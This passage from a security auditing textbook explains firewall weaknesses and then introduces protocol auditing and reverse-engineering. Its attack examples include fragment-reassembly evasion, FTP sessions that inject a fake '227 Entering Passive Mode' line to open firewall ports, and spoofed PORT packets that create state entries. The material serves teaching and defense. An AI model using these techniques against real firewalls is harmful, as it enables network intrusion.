reassembly, which CheckPoint uses. With this approach, the firewall stores every 

fragment, and after all fragments have arrived and are verified to be safe, the 

collection of fragments is forwarded on to the end host. 

Thomas Lopatic found a subtle vulnerability in the state-handling code for IP Filter's 

fragmentation state table. When IP Filter identified a fragmented TCP header, it 

analyzed the header, and then cached a decision in a fragment state table. Any 

subsequent fragments matching that cached decision were passed through the 

firewall. Lopatic observed that after a decision was cached, an attacker could resend 

a fragmented TCP header, with different port information, and it would pass through 

the firewall! This way, an attacker could talk to TCP services that IP Filter should have 

blocked. 

To top it off, Lopatic discovered that this attack could be performed even if fragments 

were explicitly blocked in the rule set. If an attacker first sent a normal TCP packet 

that matched the rule base, an entry in the normal state table was created. 

Subsequent fragmented packets would match that entry in the state table, and the 
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rule base would never even be consulted. His advisory is available at 

http://cert.uni-stuttgart.de/archive/bugtraq/2001/04/msg00121.html. 

Fooling Virtual Reassembly 

There's a technique that's useful when brainstorming attacks against stateful firewall 

fragmentation reassembly. This technique was originally devised by Thomas Lopatic, 

John McDonald, and Dug Song, and Lopatic was the first to apply it against Firewall-1. 

Mark Dowd was later able to apply it in another attack against a stateful firewall. 

Say you've found a nuance in an end host IP stack that you want to be able to trigger, 

but you need to send overlapping fragments through a modern firewall. It's likely this 

firewall doesn't allow overlapping fragments as part of its security policy, so you need 

to use a few tricks. 

What you do is send two (or more) sets of fragments containing similar characteristics 

and have both been accepted by the firewall or IDS. However, you construct them so 

that the end host discards some packets from each set, and multiple fragment chains 

merge to become one. This method can be used to stage an attack using an 

end-target BSD IP stack by leveraging the type of service (TOS) field; you can send 

two chains of fragments that both look legal enough, but you can change the value of 

the TOS byte in packets you want grouped together. Figure 15-8 shows an example 

of this exploitation scenario. 

Figure 15-8. Fragmentation attack targeted at BSD IP stack by using the TOS byte 

http://cert.uni-stuttgart.de/archive/bugtraq/2001/04/msg00121.html
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In this example, you can conveniently choose for the end host to eliminate packets B, 

D, and F, creating a single datagram composed of packets A, E, and C. When 

attempting to bypass a device performing virtual reassembly, attacks such as this one 

can also be performed if the device fails to validate other elements of the IP header 

properly. If the device fails to do so, basic header validation of IP packets from the 

end host might allow discarding selected fragments to perform attacks similar to 

those in the previous example. The following sections describe a few things that a 

device performing virtual defragmentation might neglect to check thoroughly. 

IP TTL Field 

The time-to-live (TTL) field is used to determine a packet's lifetime on the internet by 

specifying the maximum number of hops the packet should traverse before being 

discarded. Say you send two sets of fragment queues, as in the previous example, but 

the fragments you want to eliminate have the TTL value of 1 or 0 when they reach the 

firewall. (You need to determine how many hops away the firewall is, but this 
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information could be brute-forced or discovered in another way.) If the device 

performing virtual reassembly doesn't notice that some packets are about to expire, 

it might be possible to mount an attack in which some fragments are due to expire 

before (or as) they reach the destination and, therefore, are never received by the 

end host. 

IP Options 

You might be able to specify certain illegal options that cause the end host to discard 

certain fragments. Options with illegal lengths and the like probably can't be routed to 

the end host, but you might be able to take advantage of specific IP options that 

aren't processed by intermediate routing hopsmaybe timestamps with invalid 

pointers or something similar. Additionally, record route and timestamp options 

might be susceptible to overflow, and if you work it out so that the option overflows 

just as it reaches the destination host, you might be able to have the fragments 

discarded. Thomas Lopatic described using this method to exploit a hole in 

CheckPoint Firewall-1's virtual reassembly layer, which is described in detail at 

http://seclists.org/lists/bugtraq/2000/Dec/0306.html. 

Zero-Length Fragments 

A zero-length fragment is a packet that doesn't contain any datait's just an IP header. 

How can this fragment be useful in launching attacks? Suppose a firewall is 

performing virtual reassembly and allows only complete fragment queues through. If 

the firewall honors it, you can send a zero-length final fragment with the MF bit 

cleared to complete a set of fragments. Most OS stacks silently discard zero-length 

fragments without processing them, so the end host still has an incomplete queue. 

Then you can send another set of fragments with the same IP ID to add more data 

onto (or overwrite) the incomplete queue at the end host. 

 

8.2.5 Stateful Inspection Firewalls 

Stateful inspection is a term CheckPoint coined to describe Firewall-1, but it has 

been assimilated into the general language as a way of describing a certain class of 

firewalls. It's the process of looking inside actual protocol data to enhance the 

firewall's functionality. It refers to peeking into layer 4, such as TCP and UDP data, 

and pulling out or modifying key snippets of application-layer data. 

Why is stateful inspection necessary? Certain protocols are somewhat unwieldy to a 

firewall, particularly those that transmit information such as IP addresses and ports. 

For example, say you're talking to an FTP server in a corporation's demilitarized zone 

(DMZ). The exchange might look like this: 

http://seclists.org/lists/bugtraq/2000/Dec/0306.html
31051536.html
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220 FTP server ready. 

USER ftp 

331 Guest login ok, send your e-mail address as password. 

 

PASS jm@neohapsis.com 

230 Welcome to jim's FTP server 

PASV 

227 Entering Passive Mode (10,0,0,1,90,210) 

RETR test.txt 

 

You've logged in to the FTP server and told it you want to make a passive mode 

connection. The server responded and told you to connect to it on IP address 10.0.0.1 

and port 23250 (remember, 90 * 256 + 210). The firewall needs to solve two 

problems now. First, the IP address the FTP server gave you is an internal IP address 

and can't be reached from the Internet. Normally the firewall uses NAT so that the FTP 

server can be reached through an external IP, but the actual data inside the packet 

needs to be translated with NAT as well. 

Figure 15-9 shows what goes wrong with the FTP session. The client machine, on the 

left, initiates an FTP connection, which the firewall permits. The FTP server tells the 

client to connect to it at 10.0.0.1 and port 23250. When the client does this, it ends 

up trying to connect to a machine that can't be reached or the wrong machine in its 

internal network. 

Figure 15-9. Active FTP failure caused by NAT 

[View full size image] 

 

 

So the firewall needs to look inside the FTP control channel and use NAT on IP 

addresses when appropriate. However, more processing still needs to occur for FTP to 

work correctly. In Figure 15-10, the connection proceeds much the same as before. 

Figure 15-10. Active FTP failure caused by filtered data port 

[View full size image] 
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However, the firewall sees the directive to connect to the 10.0.0.1 address and 

rewrites it in place with the 5.6.7.8 address. The client computer knows to connect to 

the correct IP address. However, when the computer attempts this connection, you 

encounter the next obstacle. The firewall most likely doesn't allow the connection to 

the high TCP port, as it's a considerable security risk to allow these connections. To 

handle this correctly, the firewall must watch within the FTP session for the PASV 

response and temporarily open a hole in the firewall for the connection from the 

client. 

Layering Issues 

It's important to note that stateful inspection involves packet-oriented firewalls 

looking inside UDP and TCP packets for application-layer data. These firewalls aren't 

doing full TCP/UDP processing, so there's plenty of room for mistakes because they 

"peek" at a layer they don't quite understand. 

FTP is a great case study for this kind of problem. Look at a class of problems related 

to stateful inspection of FTP. They were discovered by Thomas Lopatic and John 

McDonald and independently by Mikael Olsson of EnterNet Sweden AB. 

What would a typical stateful inspection firewall do to detect a PASV command? It 

looks in each TCP segment traversing the firewall for a packet containing this string: 

227 Entering Passive Mode (x,x,x,x,y,y) 

 

After the firewall sees that string, it pulls out the IP address and port, translates it 

with NAT, rewrites it if necessary, checks it, and then opens a temporary hole. So you 

can see what this process looks like, review the following code from an old version of 

iptables: 

    iph = skb->nh.iph; 

    th = (struct tcphdr *)&(((char *)iph)[iph->ihl*4]); 

    data = (char *)&th[1]; 

    data_limit = skb->h.raw + skb->len; 
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    while (data < data_limit && *data != ' ') 

        ++data; 

    while (data < data_limit && *data == ' ') 

        ++data; 

    data += 22; 

    if (data >= data_limit || *data != '(') 

        return 0; 

    p1 = simple_strtoul(data+1, &data, 10); 

    if (data >= data_limit || *data != ',') 

        return 0; 

    p2 = simple_strtoul(data+1, &data, 10); 

    if (data >= data_limit || *data != ',') 

        return 0; 

    p3 = simple_strtoul(data+1, &data, 10); 

    if (data >= data_limit || *data != ',') 

        return 0; 

    p4 = simple_strtoul(data+1, &data, 10); 

    if (data >= data_limit || *data != ',') 

        return 0; 

    p5 = simple_strtoul(data+1, &data, 10); 

    if (data >= data_limit || *data != ',') 

        return 0; 

    p6 = simple_strtoul(data+1, &data, 10); 

    if (data >= data_limit || *data != ')') 

        return 0; 

 

 

    to = (p1<<24) | (p2<<16) | (p3<<8) | p4; 

    port = (p5<<8) | p6; 

 

 

    /* 

     * Now update or create a masquerade entry for it 

     */ 

    IP_MASQ_DEBUG(1-debug, "PASV response %lX:%X %X:%X detected\n", 

ntohl(ms->saddr), 0, to, port); 

 

You can see that iptables uses a straightforward method of peeking into a TCP packet 

to look for the response string. Note that if the response is split across multiple 

segments or parts of the string are dropped or retransmitted, this method wouldn't 

work at all. 
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It's worse than unreliable, however; it can actually be exploited. Consider what the 

firewall would think of the following FTP session: 

220 FTP server ready. 

USER 227 Entering Passive Mode (10,0,0,1,90,210) 

331 Password require for 227 Entering Passive Mode (10,0,0,1,90,210). 

 

If the 227 string is in the right place in a TCP packet, the firewall could easily be fooled 

into opening ports for an attacker. There are a few ways to pull off this attack. The 

most straightforward way is to change the maximum segment size of the TCP 

connection to an unusually small value. This can be done easily by setting the 

maximum transmission unit (MTU) on the interface to the small value. If the attacker 

does things right, he can create the following flow of TCP traffic (each line represents 

a different TCP packet): 

Server packet 1: 220 FTP server ready.\r\n 

Client packet 1: USER AAAAAAAAAAAAAAAAA227 Entering Passive 

Client packet 2: Mode (10,0,0,1,90,210)\r\n 

Server packet 3: 331 Password required for AAAAAAAAAAAAAAAAA 

Server packet 4: 227 Entering Passive Mode (10,0,0,1,90,210).\r\n 

 

You can see in this data flow that the TCP segment is split so that it looks like the 227 

response is a legitimate response from the server, instead of being part of the error 

message. When the firewall sees this line in its own packet, it assumes the server 

needs to open an incoming port for a data connection. 

Some firewalls sought to remedy this problem by ensuring that each packet ended in 

a CRLF. The attack shown in the preceding code doesn't work because the 331 

response packet doesn't contain the requisite CRLF. One way around this is to create 

a file with a filename of 227 ... remotely in a writeable directory. Then you can enter 

STAT -1 in the control connection and get a directory listing, which could conceivably 

have CRLFs in the right place. 

However, there's a more universal technique if you can write some low-level 

networking code. This technique a little more involved, but it can be implemented 

using libdnet and libpcap in a few hours. Basically, you need to acknowledge only part 

of the FTP server's response so that its TCP stack times out and retransmits the 227 

string in its own packet. This way, both packets end in a CRLF. The flow of data would 

look like this: 

220 FTP server ready.\r\n 

USER 227 Entering Passive Mode (10,0,0,1,90,210)\r\n 

331 Password require for 227 Entering Passive Mode (10,0,0,1,90,210).\r\n 
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The client would acknowledge the TCP data right up to the 227 string in the server's 

response. Then the client has to wait a little while for the server to time out and 

retransmit the unacknowledged data. The server retransmits the data in a packet that 

should trick the firewall into opening up a port: 

227 Entering Passive Mode (10,0,0,1,90,210).\r\n 

8.2.6 Spoofing Attacks 

Spoofing attacks can be a powerful technique for circumventing firewalls, and they 

haven't been adequately covered in security literature. Spoofing refers to the process 

of making a packet appear to come from a machine other than its actual source. 

Typically, attackers create packets from scratch, specifying the source and 

destination of their choosing, and place the packets out on the network to be routed. 

You have already seen a variety of TCP spoofing attacks in Chapter 14(? [????.]). 

These attacks seek to tamper with an existing connection or fabricate a new 

connection to take advantage of trust relationships. Manipulating firewalls is in many 

ways simpler than manipulating TCP connections. The mere presence of certain 

packets on the network is often enough to get firewalls to update their internal state 

tables. Furthermore, firewalls that do stateful inspection often analyze data in 

packets even if those packets aren't completely valid with respect to sequence 

numbers and windows. The following sections describe some specific packets that can 

be useful in spoofing attacks. 

If you're reviewing firewall code, you need to be aware of how it implements spoofing 

protection. Often, aspects of this protection are under the user's operational control, 

but it's important to make sure the protection is solid when it's used in the default or 

recommended fashion. Even small oversights can lead to security vulnerabilities, and 

because there hasn't been much published analysis of spoofing attacks, most 

administrators don't appreciate the importance of configuring spoofing protection 

correctly. 

Spoofing from a Distance 

Spoofing attacks are at their most powerful when the attacker can do malicious things 

to both the source and destination IP addresses. Modifying source addresses is often 

possible, as strict egress filtering on the Internet is inconsistent at best. Destination 

addresses, on the other hand, are used to route packets to their eventual destinations. 

Generally, if you want the packet to get to your victim, you can't muck with the 

destination IP. The "Spoofing Destinations to Create State" section later in this 

chapter covers a few ways to work around this restriction to get some malicious 
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destination addresses into play. For now, however, assume the attacker has to give a 

valid destination IP address. 

Spoofing from an External Trusted Source 

Firewalls make spoofing-related decisions based on which interface the packet comes 

from. If a spoofed packet and a genuine packet come in over the same network 

interface, the firewall can't tell them apart. 

Usually, this is a problem when the firewall is set up to trust specific hosts on the 

Internet. Because all packets from the Internet come in over the same interface, the 

firewall can't tell where they came from originally. If an attacker spoofs a packet with 

the source IP of the trusted host, the firewall assumes it came from that host. The 

attacker doesn't see the response to the packet because it's routed to the trusted host, 

but this may or may not matter. 

Figure 15-11 shows a vulnerable situation. The firewall has a rule set that allows the 

trusted server at the colocation environment to talk to the file server. An attacker 

could send packets that get delivered through the firewall to the file server by 

spoofing them from the trusted server. 

Figure 15-11. Spoofing from an external trusted source 

[View full size image] 

 
 

 

Spoofing from an Internal Trusted Source 

If spoofing protection is broken, an attacker might be able to spoof packets from a 

protected network. For example, in Figure 15-12, the file server is not accessible from 

the Internet, but the DNS server on the DMZ can talk to it. An attacker could try 

spoofing a packet from the DNS server to the file server. This packet comes in over 

the Internet interface instead of the DMZ interface, which should cause the firewall to 

discard it. 

Figure 15-12. Spoofing from an internal trusted source 

[View full size image] 
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However, if the firewall believes the packet came from the DNS server, the attacker 

can take advantage of any rules that trust the DNS server or its network. With this 

kind of attack, the attacker wouldn't see the responses or be able to set up TCP 

connections, so the ideal packets to send are UDP packets that perform some 

nefarious action, perhaps involving a DNS server, a Simple Network Management 

Protocol (SNMP) server, or the Remote Procedure Call (RPC) service. 

Spoofing for a Response 

You can use spoofing to try to get hosts to respond to addresses you couldn't reach 

otherwise. This technique is similar to the previous one; however, the goal is to have 

the response to the spoofed packet perform a nefarious action. This technique can be 

particularly interesting if a special source IP address is used. 

For example, say an attacker spoofs a UDP request from the IP address 

255.255.255.255 to an accessible service in a DMZ. If the UDP service responds, that 

response is broadcast to every host in the DMZ network. IP addresses 224.0.0.1 and 

127.0.0.1 can be used to get a response to go to the local machine, as shown in Figure 

15-13. 

Figure 15-13. Spoofing to elicit a response 

[View full size image] 

 
 

 

Spoofing for a State Entry 

You can also use spoofing to try to get special entries added to the firewall state table 

for later abuse, as shown in Figure 15-14. 

images/15ssa13_alt.jpg
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Figure 15-14. Spoofing for state table manipulation 

[View full size image] 

 
 

Say the firewall's stateful inspection is loose, and it uses a lone ACK TCP segment to 

create a state table entry for an ongoing TCP connection. This can be done to allow for 

nondisruptive firewall reboots. What if an attacker spoofs a single TCP packet from 

the DNS server to the file server on the intranet, and the packet contains this string: 

PORT 1,1,1,1,10,10\r\n 

 

A stateful firewall with improper spoofing protection would see this packet as the DNS 

server performing an FTP session to the file server. If the rule set allows this 

communication, the firewall would parse the packet's data and determine that an FTP 

data connection is about to happen. The firewall would open a temporary hole for the 

file server to connect back to the DNS server. The attacker could then spoof a 

different packet going to a port that the firewall's rule set normally blocks. 

Spoofing Up Close 

Spoofing attacks become far more potent when an attacker is sitting on the same 

network as one of the firewall interfaces. For example, what if you hacked the DNS 

server in the DMZ in Figure 15-15? From this vantage point, you can perform a 

number of attacks that allow you to extend this compromise. 

Figure 15-15. Spoofing within the same segment 

[View full size image] 
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First and foremost, you can now attack other hosts in the DMZ directly, without going 

through a firewall. This attack is obviously useful, and it doesn't require any spoofing. 

Spoofing from a Network Peer to Exploit the Rule Base 

You've seen how firewalls make spoofing-related decisions based on which interface 

the packet comes from. Because you're now on the same network segment as other 

protected machines, you can spoof packets from any of them with impunity. The 

firewall sees packets coming in from the correct interface and believes they are 

genuine. 

The first way you can use this technique is to try to take advantage of any rules 

trusting any hosts in the DMZ. Because you can effectively impersonate those hosts 

by using networking tricks of the trade, you should be able to access any resources 

the hosts can. 

For example, say a Web server in the DMZ talks to a database server in the internal 

network. If you can't compromise the Web server, you can still use the DNS server to 

spoof packets from the Web server that reach the database server. You can use 

various tricks to intercept the responses coming back as well. 

Spoofing from a Network Peer to Create State 

The other advantage you gain from being able to spoof packets from hosts on the 

network is the ability to manipulate the firewall's state table. You can create state 

table entries that open external network access to other hosts on the network 

segment. This method doesn't give you access to anything you don't already have 

from the DNS server, but it could be useful in a real-world attack for running an 

exploit from a particular host or opening a command shell through a firewall. 

For example, if you want to let a machine on the Internet talk to a Web server on the 

DMZ, you could create a fake DNS or FTP connection for the firewall's benefit. The 

connection would appear to originate from the Web server, and the destination would 

be your attack machine on the Internet. If the firewall's rule base allows the spoofed 
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connection, the firewall creates state table entries you can use. Typically, your attack 

machine can "respond" to the spoofed traffic in some way as the firewall, and your 

response is actually legitimate network traffic. 

Spoofing Destinations to Create State 

You can send packets directly to the firewall interface via the local network's data link 

layer, and these packets can contain any destination IP address you want. If the 

firewall is your default router, most of the packets you send will go through the 

firewall anyway. If not, you can make it happen with a little creative use of the routing 

table. 

Routing through the firewall allows for a class of attacks that share a similar form. The 

goal is to spoof packets that match the rule base and cause entries to be added to the 

firewall's state tables. The actual attack comes later, and it uses those state table 

entries to make it through the firewall. 

One effective way to accomplish this attack is to spoof packets from the target 

machine to you. If they get past the spoofing filter and the rule set, the state table 

entries that are created are likely to be useful. For example, what if you control the 

DNS server and want to talk to UDP port 5678 on the file server, but the firewall is 

blocking you? To circumvent the block, you need to get a state table entry in the 

firewall that allows you to reach that port. What you do is spoof a packet from source 

port 5678 on the file server to destination port 53 on the DNS server. The firewall has 

an opportunity to reject this packet if spoofing protection is functioning. Assuming 

your packet gets past the spoofing check, the rule base simply sees a DNS request 

from the file server to the DNS server, which is allowed. The firewall creates a state 

table entry indicating a UDP "connection" from file server:5678 to DNS server:53. 

Usually, this entry means the firewall expects and will allow a response, which should 

come from the DNS server on source port 53 and go to the file server on destination 

port 5678. 

This state table entry enables you to attack the file server directly from the DNS 

server. You send the UDP attack packet from source port 53 to the vulnerable service 

on the file server at port 5678. Obviously, port 5678 isn't likely to be exploitable in the 

real world, but you have a basic mechanism for opening any UDP port. In practice, it's 

usually even easier, as UDP state tracking, at least in Firewall-1, is forgiving about a 

response packet's destination port. 

For TCP, you can spoof TCP segments purporting to be part of an FTP connection; 

these segments contain PORT and PASV strings. The firewall parses these strings and 

opens temporary holes for TCP connections. This method is a more limited form of the 

attack because of restrictions on data connection ports and directionality, but 

attackers can usually work around these restrictions. 
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Special Addresses 

You can perform variations of the previous destination-spoofing attack by using 

special IP addresses in certain cases. For example, if you spoof a packet from the 

source IP 224.0.0.1 to yourself, you create a state table entry that enables you send 

packets to the multicast address. These packets, after they're accepted by the firewall, 

are actually passed to the firewall host's IP stack. This attack pattern can be used to 

attack services running on the firewall host. 

Spooky Action at a Distance 

In the analysis of spoofing packets from the compromised DMZ host, you saw that 

having control of the destination IP address could be quite useful when staging a 

spoofing attack. In that example, your location on the physical network allowed you 

to send packets directly to the firewall interface by using the data link layer. You could 

choose arbitrary destination IP addresses because you were hand-delivering the 

packet directly to the firewall's network card at a lower level. 

Normally, choosing arbitrary destination IP addresses isn't possible when you're 

attacking a firewall over the Internet because those addresses are used for routing. If 

you want the packet to reach a particular firewall, it must have a destination IP 

address that gets it routed through the firewall. For a firewall on the Internet, the 

destination address is typically a small set of public addresses, none of which allows 

you to do much when spoofing. 

To launch destination IP attacks, what you need is the ability to route arbitrary 

packets through the firewall. Two possibilities are available to you: IP source routing 

and encapsulation via tunneling protocols. 

Source Routing 

Source routing was designed to do exactly what you need. You can specify the routing 

path by using a loose source route so that your packet ends up at the firewall with any 

destination IP address you like. Unfortunately, source-routing attacks rarely work in 

practice because usually they are blocked. Every security device that sees a 

source-routed IP packet typically drops it, and routers are often configured to drop 

them as well. 

Encapsulation 

If you can encapsulate packets in a tunneling protocol and have them decapsulated 

by the firewall or a machine on the same network as the firewall, you're in an 

advantageous position, akin to being on the same physical network. 

Firewall-1 used to support decapsulation of a simple tunneling protocol, IP protocol 94. 

This decapsulation was always on, and it happened before any processing of the rules 
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or state table. Thomas Lopatic, Dug Song, and John McDonald were able to leverage 

this decapsulation, in concert with spoofing attacks and common rule base settings, 

to perform many of the aforementioned attacks against Firewall-1. 

This area could definitely use more research. There's no shortage of tunneling 

protocols that are likely to be implemented on firewalls: IPsec, various VPN protocols, 

tunneling protocols related to IPv6, tunneling protocols for mobile users, and so forth. 

8.2.7 Summary 

This chapter has given you some exposure to the kinds of security issues that can 

affect firewall systems. You've seen how attacks against firewalls typically involve 

tricking the firewall into violating its rule-base or facilitating an attacker in 

impersonating another system. These types of attacks are particularly significant 

when you consider that firewalls are devices charged with protecting the borders of 

almost every network. 

From an auditing perspective, firewalls provide a unique and very worthwhile project. 

Reviewing firewall software can be particularly interesting, as it requires a creative 

use of networking protocols, and there's a heavy focus on design and logic review. It's 

also an area that's currently lacking in extensive investigation, so it's a good place for 

a vulnerability researcher to cover new ground. 

 

8.3 Chapter 16.  Network Application Protocols 

Chapter 16. Network Application Protocols 

"When the going gets weird the weird turn pro." 

Hunter S. Thompson 

8.3.1 Introduction 

Chapter 14(? [????.]), "Network Protocols," examined auditing low-level functionality 

in IP stacks in modern operating systems and other devices that perform some level 

of network functionality, security, or analysis. Applications that communicate over 

the Internet typically implement higher-level protocols and use those previously 

examined TCP/IP components only as a transport mechanism. Code implementing 

these higher-level protocols is exposed to attack from untrusted sources. A large 

percentage of the codebase is dedicated to parsing data from remote machines, and 

that data is usually expected to conform to a set of protocol specifications. Auditing 

application-layer protocols involves understanding the rules that govern how a piece 

31051536.html
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of software communicates with its counterparts on the network, and then applying 

relevant concepts introduced in Part II(? [????.]), "Software Vulnerabilities," of this 

book. A number of well-known and widely used protocols provide functionality you 

use daily, such as Hypertext Transfer Protocol (HTTP) for Web browsing, Simple Mail 

Transfer Protocol (SMTP) for sending and receiving e-mail, and File Transfer Protocol 

(FTP) for transferring files. These protocols are just a few of the ever-growing list 

used by millions of clients and servers worldwide. This chapter focuses on a few 

application protocols that are widely used across the Internet, and you see how to 

relate a protocol's design with classes of vulnerabilities that are likely to occur as a 

result of these design choices. 

8.3.2 Auditing Application Protocols 

Before you jump into selected protocols, this section explains some general 

procedures that are useful when auditing a client or server product. The steps offer 

brief guidelines for auditing a protocol you're unfamiliar with. If you're already 

familiar with the protocol, you might be able to skip some early steps. 

Note 

At the time of this writing, there has been a big trend in examining software that deals 

with file formats processed by client (and, less often, server) software. The steps 

outlined in this section could also be applied to examining programs dealing with file 

formats, as both processes use similar procedures. 

 

 

Collect Documentation 

So how do you audit software that's parsing data in a format you know nothing about? 

You read the protocol specification, of course! If the protocol is widely used, often 

there's an RFC or other formal specification detailing its inner workings and what an 

implementation should adhere to (often available at www.ietf.org/rfc.html). Although 

specifications can be tedious to read, they're useful to have on hand to help you 

understand protocol details. Books or Web sites that describe protocols in a more 

approachable format are usually available, too, so start with an Internet search. Even 

if you're familiar with a protocol, having these resources available will help refresh 

your memory, and you might discover recent new features or find some features 

perform differently than you expected. For proprietary protocols, official 

documentation might not be available. However, searching the Internet is worth the 

time, as invariably other people with similar goals have invested time in documenting 

or reverse-engineering portions of these protocols. 

When reading code that implements a protocol, there are two arguments for 

acquiring additional documentation: 

http://www.ietf.org/rfc.html
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 Why not use all the tools you have available at your disposal? There's nothing 

to lose by reading the specifications, and often they help you quickly 

understand what certain portions of code are attempting to accomplish. 

 Reading the documentation can give you a good idea of where things are likely 

to go wrong and give you a detailed understanding of how the protocol works, 

which might help you see what could go wrong from a design perspective 

(discussed in depth in Chapter 2(? [????.]), "Design Review"). 

Identify Elements of Unknown Protocols 

Sometimes you encounter a proprietary protocol with no documentation, which 

means you have to reverse-engineer it. This skill can take some time to master, so 

don't be discouraged if you find it cumbersome and difficult the first few times. There 

are two ways to identify how a protocol works: You can observe the traffic or 

reverse-engineer the applications that handle the traffic. Both methods have their 

strengths and weaknesses. Reverse-engineering applications give you a more 

thorough understanding, but doing so might be impractical in some situations. The 

following sections present some ideas to help get you on the right track. 

Using Packet Sniffers 

Packet-sniffing utilities are invaluable tools for identifying fields in unknown protocols. 

One of the first steps to understanding a protocol is to watch what data is exchanged 

between two hosts participating in a communication. Many free sniffing tools are 

available, such as tcpdump (available from www.tcpdump.org/) and Wireshark 

(previously Ethereal, available from www.wireshark.org/). Of course, the protocol 

must be unencrypted for these tools to be useful. However, even encrypted protocols 

usually begin with some sort of initial negotiation, giving you insight into how the 

protocol works and whether the cryptographic channel is established securely. 

One of the most obvious characteristics you'll notice is whether the protocol is binary 

or text based. With a text-based protocol, you can usually get the hang of how it 

works because the messages aren't obscured. Binary protocols are more challenging 

to comprehend by examining packet dumps. Here are some tips for understanding 

the fields. When reading this section and trying to analyze a protocol, keep in mind 

the types of fields that usually appear in protocols: connection IDs, length fields, 

version fields, opcode or result fields, and so on. Most undocumented protocols aren't 

much different from the multitude of open protocols, and you're likely to find 

similarities in how proprietary and open protocols work. This chapter focuses on 

simple one-layer protocols for the sake of clarity. You can apply the same principles to 

complex multilayer protocols, but analyzing them takes more work and more 

practice. 

Initiate the Connection Several Times 

http://www.tcpdump.org/
http://www.wireshark.org/
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Start at the beginning with connection initiation. Usually, it's easier to start there and 

branch out. Establishing new connections between the same test hosts multiple times 

and noting what values change can be useful. Pay special attention to the top of the 

message, where there's presumably a header of some sort. Note the offsets of data 

that changes. It's your job to pinpoint why those values changed. Asking yourself 

some simple questions, such as the following, might help identify the cause of those 

changes: 

 Did a single field change by a lot or a little? 

 Was the change of values in a field drastic? Could it be random, such as a 

connection ID? 

 Did the size of the packet change? Did a field change in relation to the size of 

the packet? Could it be a size field? 

Answer these questions and keep detailed notes for each field that changes. Then try 

to come up with additional questions that might help you determine the purpose of 

certain fields. Pay attention to how many bytes change in a particular area. For 

example, if it's two bytes, it's probably a word field; four bytes of change could mean 

an integer field; and so forth. 

Because many protocols are composed of messages that have a similar header 

format and a varying body, you should write down all the findings you have made and 

see where else they might apply in the protocol. This method can also help you 

identify unknown fields. For example, say you have figured out a header format such 

as the following: 

struct header { 

    unsigned short id;        /* seems random */ 

    unsigned short unknown1; 

    unsigned long length;     /* packet len including header */ 

} 

 

You might have deduced that unknown1 is always the value 0x01 during initiation, but 

in later message exchanges, it changes to 0x03, 0x04, and so forth. You might then 

infer that unknown1 is a message type or opcode. 

Replay Messages 

When you examine packet dumps, replaying certain messages with small changes to 

see how the other side responds can prove helpful. This method can give you insight 

on what certain fields in the packet represent, how error messages are conveyed, and 

what certain error codes mean. It's especially useful when the same protocol errors 

happen later when you replay other messagesa good way to test previous deductions 

and see whether you were right. 
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Reverse-Engineering the Application 

Reverse-engineering is both a science and an art, and it's a subject that could easily 

take an entire book to cover. Reverse-engineering isn't covered in depth in this 

chapter; instead, it's mentioned as a technique that can be used on clients and 

servers to gain an in-depth understanding of how a protocol works. The following 

sections introduce the first steps to take to understand a protocol. 

Use Symbols 

If you can get access to binary code with symbols, by all means, use it! Function 

names and variable names can provide invaluable information as to what a protocol 

does. Using these symbols can help isolate the code you need to concentrate on 

because functions dealing with messages are aptly named. Some programs you audit 

might have additional files containing symbols and debugging information (such as 

PDB, Program Debug Database, files for Windows executables). These files are a big 

help if you can get your hands on them. For instance, you might be doing auditing for 

a company that refuses to give you its source code but might be open to disclosing 

debugging builds or PDB files. 

Note 

Microsoft makes PDB symbol packages available at http://msdl.microsoft.com/, and 

these timesavers are invaluable tools for gaining insight into Microsoft programs. If 

getting source code isn't an option, it's recommended that you negotiate with 

whoever you're doing code auditing for to get debug symbols. 

 

 

Examine Strings in the Binary 

Sometimes binaries don't contain symbols, but they contain strings indicating 

function names, especially when debugging information has been compiled into the 

production binary. It's not uncommon to see code constructs such as the following: 

#define DEBUG1(x)    if(debug) printf(x) 

 

int parse_message(int sock) 

{ 

    DEBUG1("Entering parse_message\n"); 

 

    ... process message ... 

} 

 

http://msdl.microsoft.com/
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Although debugging is turned off for the production release, the strings appear in the 

binary, so you can see the function names with debugging messages in them. 

Strings also come in useful when you're looking for certain strings that appear in the 

protocol or errors that appear in the protocols or logs. For example, you send a 

message that disconnects but leaves a log message such as "[fatal]: malformed 

packet received from 192.168.1.1: invalid packet length." This string tells you that 

the length field (wherever it appears in the packet) is invalid, and you also have a 

string to search for. By searching through the binary for "invalid packet length" or 

similar, you might be able to locate the function that's processing the packet length 

and, therefore, discover where in the binary to start auditing. 

Examine Special Values 

As well as helpful strings in the executable, you might find unique binary values in the 

protocol that can be used to locate code for processing certain messages. These 

values are commonly found when you're dealing with file formats because they 

contain "signature" values to identify the file type at the beginning of the file (and 

possibly in other parts of the file). Although unique signatures are a less common 

practice in protocols sent over the network (as they're often unnecessary), there 

might be tag values or something similar in the protocol that have values unlikely to 

appear naturally in a binary. "Appearing naturally" means that if you search the 

binary for that value (using an IDA text search on the disassembly), it's unlikely to 

occur in unrelated parts of the program. For example, the value 0x0C would occur 

often in a binary, usually as an offset into a structure. Frequent occurrence makes it 

a poor unique value to search for in the binary. A more unusual value, such as 0x8053, 

would be a better search choice, as it's unlikely that structures have members at this 

offset (because the structures would have to be large and because the value is odd, 

so aligned pointer, integer, and word values don't appear at unaligned memory 

offsets). 

Debug 

Debugging messages were mentioned in the section on examining strings, and you 

saw an example of debugging messages appearing in the compiled code. This means 

you can turn on debugging and automatically receive all debugging output. Usually, 

vendors have a command-line option to turn on debugging, but they might remove it 

for the production release. However, if you cross-reference a debugging string such 

as "Entering parse_message," you see a memory reference to where the debug 

variable resides in memory. So you can just change it to nonzero at runtime and 

receive all the debugging messages you need. 

Find Communication Primitives 
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When all else fails, you can revert to finding entry points you know about; protocol 

software has to send and receive data at some point. For protocols that operate over 

TCP, entry points might include read(), recv(), recvmsg(), and WSArecv(). UDP 

protocols might also use recvfrom() and WSArecvfrom(). Locating where these 

functions are used points you to where data is read in from the network. Sometimes 

this method is an easy route to identifying where data is being processed. 

Unfortunately, it might take some tracing back through several functions, as many 

applications make wrappers to communication primitives and use them indirectly (by 

having the communication primitives in the form of class methods). Still, in these 

cases, you can break on one of the aforementioned functions at runtime and let it 

return a few times to see where processing is taking place. 

Use Library Tracing 

Another technique that can aid in figuring out what a program is doing is using system 

tools to trace the application's library calls or system resource accesses. These tools 

include TRuss for Solaris, ltrace for Linux, ktrace for BSD, and Filemon/Regmon for 

Windows (www.sysinternals.com/). This technique is best used with the other 

techniques described. 

Match Data Types with the Protocol 

After you're more familiar with a protocol, you start to get a sense of where things 

